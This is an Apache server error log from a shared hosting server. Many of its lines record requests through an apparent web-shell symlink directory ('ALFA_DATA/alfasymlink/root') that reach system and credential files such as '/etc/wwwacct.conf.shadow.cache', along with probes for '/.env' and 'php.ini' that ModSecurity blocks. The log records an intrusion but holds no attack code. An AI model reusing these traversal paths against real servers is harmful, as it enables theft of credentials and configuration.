[Sat Oct 24 15:51:51.313045 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.194.226.74:41549] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:03.284806 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.197.178.107:18989] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:03.311980 2026] [core:crit] [pid 2684583:tid 2684583] (13)Permission denied: [client 66.132.186.159:40808] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:52:05.118787 2026] [authz_core:error] [pid 2693039:tid 2693039] [client 66.132.186.159:40810] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:52:06.746991 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 66.132.186.159:40816] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:52:11.321463 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.196.6.199:19832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:15.387555 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.81.253.213:45023] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:16.996288 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.9:31996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/ctor
[Sat Oct 24 15:52:19.500911 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.204.253.129:46279] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:23.539760 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 98.83.226.125:63849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:32.002331 2026] [authz_core:error] [pid 2677776:tid 2677776] [client 66.132.186.159:4812] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:52:39.546698 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.214.186.220:3163] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:43.355786 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.194.226.74:42331] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/xhci_hcd/bind
[Sat Oct 24 15:52:51.405860 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.21.228.180:60701] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:52:55.540950 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.235.158.19:49413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:53:07.815872 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 44.220.2.97:29248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS2/line
[Sat Oct 24 15:53:11.873590 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.93.211.16:41228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:53:19.656409 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 3.212.205.90:20838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:53:22.952058 2026] [security2:error] [pid 2677776:tid 2677776] [client 16.216.88.147:1024] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "at0MsmZJIyiQiKFtr2-6HwAAABU"]
[Sat Oct 24 15:53:22.952504 2026] [security2:error] [pid 2677776:tid 2677776] [client 16.216.88.147:1024] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "at0MsmZJIyiQiKFtr2-6HwAAABU"]
[Sat Oct 24 15:53:22.952811 2026] [security2:error] [pid 2677776:tid 2677776] [client 16.216.88.147:1024] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "at0MsmZJIyiQiKFtr2-6HwAAABU"]
[Sat Oct 24 15:53:25.357198 2026] [proxy_fcgi:error] [pid 2693039:tid 2693039] [client 170.231.237.214:44926] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:53:27.550169 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.223.181.32:21966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:53:36.439402 2026] [security2:error] [pid 2693020:tid 2693020] [client 216.244.66.250:54180] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at0MwDKiZtbKEGWJKoLR8gAAACE"]
[Sat Oct 24 15:53:36.439894 2026] [security2:error] [pid 2693020:tid 2693020] [client 216.244.66.250:54180] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at0MwDKiZtbKEGWJKoLR8gAAACE"]
[Sat Oct 24 15:53:36.440225 2026] [security2:error] [pid 2693020:tid 2693020] [client 216.244.66.250:54180] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at0MwDKiZtbKEGWJKoLR8gAAACE"]
[Sat Oct 24 15:53:43.634080 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 34.194.14.255:37559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:03/physical_node/driver/unbind
[Sat Oct 24 15:53:47.783659 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.195.248.30:61467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:53:50.171016 2026] [proxy_fcgi:error] [pid 2693020:tid 2693020] [client 170.231.236.98:32652] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:54:04.237592 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.223.116.149:47150] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:11.937391 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 35.168.238.50:60539] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:19.549324 2026] [ssl:error] [pid 2693035:tid 2693035] (5)Input/output error: [client 54.197.102.71:41642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:27.755894 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.89.90.224:16843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:31.158975 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.14:12430] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:31.359406 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 185.191.171.14:12446] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:40.271747 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.239.85.139:48680] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:43.694842 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 52.44.229.124:56571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/xen-platform-pci/unbind
[Sat Oct 24 15:54:47.675595 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.44.148.203:31536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:54:59.476483 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.223.115.10:28001] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:55:12.190025 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.54.249.218:29927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:55:19.576912 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 100.29.63.24:24636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:55:39.767887 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.94.40.182:56585] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:55:39.825999 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.204:48104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/reclaim_account
[Sat Oct 24 15:55:44.453543 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.203.65.83:27362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:56:15.742463 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.218.103.254:47929] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:56:32.657144 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 85.208.96.203:45722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:56:35.194993 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 23.21.179.27:7271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/ac/unbind
[Sat Oct 24 15:56:38.308367 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 216.244.66.250:41244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf.shadow.cache
[Sat Oct 24 15:56:39.358859 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.203.152.231:22936] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:56:44.235256 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.225.190:24091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:56:51.362443 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.80.73.122:25946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:56:59.105524 2026] [ssl:error] [pid 2692917:tid 2692917] (5)Input/output error: [client 18.205.213.231:20304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:02.215802 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.12:21256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/object_size
[Sat Oct 24 15:57:03.473375 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.194.139.149:42322] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:07.229617 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.7.13.143:8294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:15.060659 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.166.104.83:38116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:19.147881 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 18.209.137.234:52523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/driver/remove_id
[Sat Oct 24 15:57:23.183325 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.215.24.66:25913] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:35.076543 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.83.178.66:37261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:39.045938 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.84.131.195:53571] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:40.919123 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.210:18782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/slabs
[Sat Oct 24 15:57:44.026870 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.209:56784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/slab_size
[Sat Oct 24 15:57:50.935621 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.217.255.167:36535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:57:55.164451 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.214.251.19:1916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:58:07.013073 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.213.106.226:22429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:58:10.884887 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.205.74.196:18432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:58:15.604216 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 185.191.171.6:23720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/align
[Sat Oct 24 15:58:18.065163 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 85.208.96.212:22750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/hwcache_align
[Sat Oct 24 15:58:19.019623 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 35.173.18.61:42667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:58:22.796694 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 52.204.253.129:2071] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS2/close_delay
[Sat Oct 24 15:58:23.775161 2026] [security2:error] [pid 2693020:tid 2693020] [client 98.80.168.82:18260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0N3zKiZtbKEGWJKoLR_QAAACE"]
[Sat Oct 24 15:58:23.775475 2026] [security2:error] [pid 2693020:tid 2693020] [client 98.80.168.82:18260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0N3zKiZtbKEGWJKoLR_QAAACE"]
[Sat Oct 24 15:58:23.775809 2026] [security2:error] [pid 2693020:tid 2693020] [client 98.80.168.82:18260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0N3zKiZtbKEGWJKoLR_QAAACE"]
[Sat Oct 24 15:58:23.920429 2026] [security2:error] [pid 2692918:tid 2692918] [client 98.80.168.82:18248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0N37UNAjBk2uOT2T-ERwAAAAo"]
[Sat Oct 24 15:58:23.920757 2026] [security2:error] [pid 2692918:tid 2692918] [client 98.80.168.82:18248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0N37UNAjBk2uOT2T-ERwAAAAo"]
[Sat Oct 24 15:58:23.921076 2026] [security2:error] [pid 2692918:tid 2692918] [client 98.80.168.82:18248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0N37UNAjBk2uOT2T-ERwAAAAo"]
[Sat Oct 24 15:58:47.504259 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.202.233.37:45694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:58:50.619212 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.217.171.106:58410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:58:54.440733 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.206.212.24:15551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/dw-apb-uart/unbind
[Sat Oct 24 15:58:58.636765 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.22.87.224:61630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:59:02.425326 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.44.174.136:34253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:59:22.210562 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 44.217.177.142:14273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:59:26.327251 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.83.226.125:20714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:59:42.429647 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.194.233.48:16659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/trace
[Sat Oct 24 15:59:54.215280 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 35.173.18.61:20418] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:00:00.311851 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.10:64756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/objs_per_slab
[Sat Oct 24 16:00:02.323760 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.235.172.96:14975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:00:30.313130 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.221.37.41:40017] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:00:42.474696 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.213.36.21:23668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:00:46.216799 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 44.212.145.46:18856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:00:50.331108 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 107.23.62.75:24864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:00:54.184039 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.221.37.41:64304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:01:18.250316 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.71.216.196:10611] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:01:34.340623 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.206.212.24:49639] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:01:36.005939 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.16:43724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/agent360.sh
[Sat Oct 24 16:01:37.848510 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 185.191.171.14:16862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/alloc_calls
[Sat Oct 24 16:01:43.171598 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.16:10640] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/grub2-mkconfig"] [unique_id "at0Op93lMH_Ldre-PZtrGQAAACk"]
[Sat Oct 24 16:01:43.171636 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.16:10640] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/grub2-mkconfig"] [unique_id "at0Op93lMH_Ldre-PZtrGQAAACk"]
[Sat Oct 24 16:01:46.174821 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.225.9.97:3737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:02:06.261002 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.235.158.162:52130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:02:10.378887 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.235.81.246:12992] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:02:18.323527 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 52.2.58.41:20427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:02:19.008778 2026] [authz_core:error] [pid 2692918:tid 2692918] [client 34.245.155.82:60108] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 16:02:50.286836 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.73.6.26:7915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:02:54.305404 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.83.23.103:44988] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:02:58.232213 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.221.203.24:26720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:02.305829 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.89.170.186:49066] AH02013: coalesce failed to read from data bucket
